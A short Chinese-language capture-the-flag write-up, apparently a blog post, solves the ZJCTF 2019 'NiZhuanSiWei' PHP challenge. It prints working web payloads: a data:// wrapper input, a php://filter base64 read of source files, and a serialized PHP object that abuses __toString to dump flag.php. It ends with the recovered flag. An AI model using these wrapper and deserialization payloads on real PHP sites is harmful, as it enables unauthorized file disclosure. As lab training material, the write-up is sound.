[ZJCTF 2019]NiZhuanSiWei

m1saka1發表於2024-10-13

啟動靶機,檢視原始碼

查詢file_get_contents()函式 這裡傳入的text必須是個檔案且檔案內容為welcome to the zjctf

這裡我們使用data偽協議將內容寫入
?text=data://text/plain,welcome to the zjctf
往下看有個正規表示式過濾flag,繼續往下

很明顯是php的反序列化利用,卻沒有看到利用類的構造程式碼,正則過濾了flag.php,我們只能嘗試訪問useless.php

利用?text=data://text/plain,welcome to the zjctf &file=useless.php沒反應
嘗試filter偽協議讀取
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

解碼後得到useless.php

到這裡邏輯就清晰了,因為反序列化在正規表示式後,我們只需在反序列化時將file值賦為flag.php,再利用__tostring函式在echo時自動呼叫的特性將flag.php列印出來

構造如下,只需對file變數賦值 得到 O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最終payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
檢視原始碼發現flag flag{17e56d67-d376-4aeb-8de3-a411874f6256}

相關文章